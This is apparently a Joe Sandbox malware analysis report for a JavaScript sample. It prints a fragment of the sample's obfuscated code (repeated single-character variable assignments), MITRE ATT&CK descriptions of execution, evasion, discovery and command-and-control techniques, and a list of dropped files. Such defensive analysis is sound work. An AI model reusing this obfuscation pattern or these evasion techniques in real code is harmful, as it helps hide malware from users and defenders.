1284	yrxhb = "F";
1285	yrxhb = "A";
1286	yrxhb = "S";
1287	yrxhb = "j";
1288	yrxhb = "J";
1289	yrxhb = "n";
1290	yrxhb = "Z";
1291	yrxhb = "r";
1292	yrxhb = "i";
1293	yrxhb = "O";
1294	yrxhb = "D";
1295	yrxhb = "k";
1296	yrxhb = "I";
1297	bzjjbj = "U";
1298	bzjjbj = "Q";
1299	bzjjbj = "Y";
1300	bzjjbj = "X";
1301	bzjjbj = "W";
1302	bzjjbj = "T";
1303	bzjjbj = "B";
1304	bzjjbj = "k";
1305	bzjjbj = "B";
1306	bzjjbj = "Z";
1307	bzjjbj = "Z";
1308	bzjjbj = ":";
1309	lqjam = "f";
1310	lqjam = "r";
1311	lqjam = "&";
1312	erzcfomut = "w";
1313	erzcfomut = "J";
1314	erzcfomut = "j";
1315	erzcfomut = "N";
1316	erzcfomut = "b";
1317	erzcfomut = "f";
1318	erzcfomut = "u";
1319	erzcfomut = "W";
1320	erzcfomut = "U";
1321	erzcfomut = "x";
1322	erzcfomut = "m";
1323	erzcfomut = "U";
1324	erzcfomut = "T";
1325	erzcfomut = "G";
1326	erzcfomut = "g";
1327	erzcfomut = "y";
1328	erzcfomut = "P";
1329	erzcfomut = "a";
1330	erzcfomut = "D";
1331	erzcfomut = "C";
1332	erzcfomut = "U";
1333	erzcfomut = "c";
1334	erzcfomut = "w";
1335	erzcfomut = "F";
1336	erzcfomut = "d";
1337	erzcfomut = "I";
1338	erzcfomut = "Q";
1339	erzcfomut = "U";
1340	erzcfomut = "G";
1341	erzcfomut = "C";
1342	erzcfomut = "N";
1343	erzcfomut = "w";
1344	erzcfomut = "f";
1345	erzcfomut = "u";
1346	icwbebiwy = "L";
1347	icwbebiwy = "d";
1348	icwbebiwy = "N";
1349	icwbebiwy = "Y";
1350	icwbebiwy = "E";
1351	icwbebiwy = "o";
1352	icwbebiwy = "R";
1353	icwbebiwy = "j";
1354	icwbebiwy = "d";
1355	icwbebiwy = "Z";
1356	icwbebiwy = "T";
1357	icwbebiwy = "J";
1358	icwbebiwy = "W";
1359	icwbebiwy = "Y";
1360	icwbebiwy = "T";
1361	icwbebiwy = "Y";
1362	icwbebiwy = "a";
1363	icwbebiwy = "x";
1364	icwbebiwy = "j";
1365	icwbebiwy = "o";
1366	icwbebiwy = "P";
1367	icwbebiwy = "H";
1368	icwbebiwy = "n";
1369	icwbebiwy = "R";
1370	icwbebiwy = "z";
1371	icwbebiwy = "w";
1372	xvocwswm = "5";
1373	pcphwpi = "m";
1374	pcphwpi = "L";
1375	pcphwpi = "B";
1376	pcphwpi = "s";
1377	pcphwpi = "8";
1378	bqfcbozn = "J";
1379	bqfcbozn = "G";
1380	bqfcbozn = "i";
1381	bqfcbozn = "g";
1382	bqfcbozn = "R";
1383	bqfcbozn = "A";
1384	bqfcbozn = "Q";
1385	bqfcbozn = "u";
1386	bqfcbozn = "J";
1387	bqfcbozn = "n";
1388	bqfcbozn = "j";
1389	bqfcbozn = "j";
1390	bqfcbozn = "T";
1391	bqfcbozn = "s";
1392	bqfcbozn = "Q";
1393	bqfcbozn = "i";
1394	afmaoxf = "u";
1395	afmaoxf = "c";
1396	afmaoxf = "m";
1397	afmaoxf = "W";
1398	afmaoxf = "A";
1399	afmaoxf = "h";
1400	afmaoxf = "s";
1401	afmaoxf = "y";
1402	afmaoxf = "i";
1403	afmaoxf = "Y";
1404	afmaoxf = "s";
1405	afmaoxf = "H";
1406	afmaoxf = "Q";
1407	afmaoxf = "E";
1408	afmaoxf = "Q";
1409	afmaoxf = "v";
1410	afmaoxf = "Y";
1411	dnaasnte = "X";
1412	dnaasnte = "b";
1413	dnaasnte = "S";
1414	dnaasnte = "g";
1415	dnaasnte = "b";
1416	dnaasnte = "P";
1417	dnaasnte = "p";
1418	dnaasnte = "i";
1419	dnaasnte = "w";
1420	dnaasnte = "t";
1421	dnaasnte = "y";
1422	dnaasnte = "X";
1423	dnaasnte = "W";
1424	dnaasnte = "l";
1425	dnaasnte = "O";
1426	dnaasnte = "q";
1427	dnaasnte = "A";
1428	dnaasnte = "o";
1429	dnaasnte = "s";
1430	dnaasnte = "t";
1431	dnaasnte = "z";
1432	dnaasnte = "k";
1433	dnaasnte = "u";
1434	dnaasnte = "N";
1435	dnaasnte = "Q";
1436	dnaasnte = "H";
1437	dnaasnte = "P";
1438	dnaasnte = "o";
1439	dnaasnte = "D";
1440	dnaasnte = "Y";
1441	dnaasnte = "u";
1442	dnaasnte = "v";
1443	dnaasnte = "f";
1444	dnaasnte = "z";
1445	dnaasnte = "P";
1446	dnaasnte = "k";
1447	dnaasnte = "t";
1448	dnaasnte = "J";
1449	dnaasnte = "e";
1450	dnaasnte = "\\";
1451	mvolxnwsr ( );	mvolxnwsr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 244312574730704684.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\310a8493-f110-4347-b728-165691c8493d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7780

Windows Analysis Report
244312574730704684.js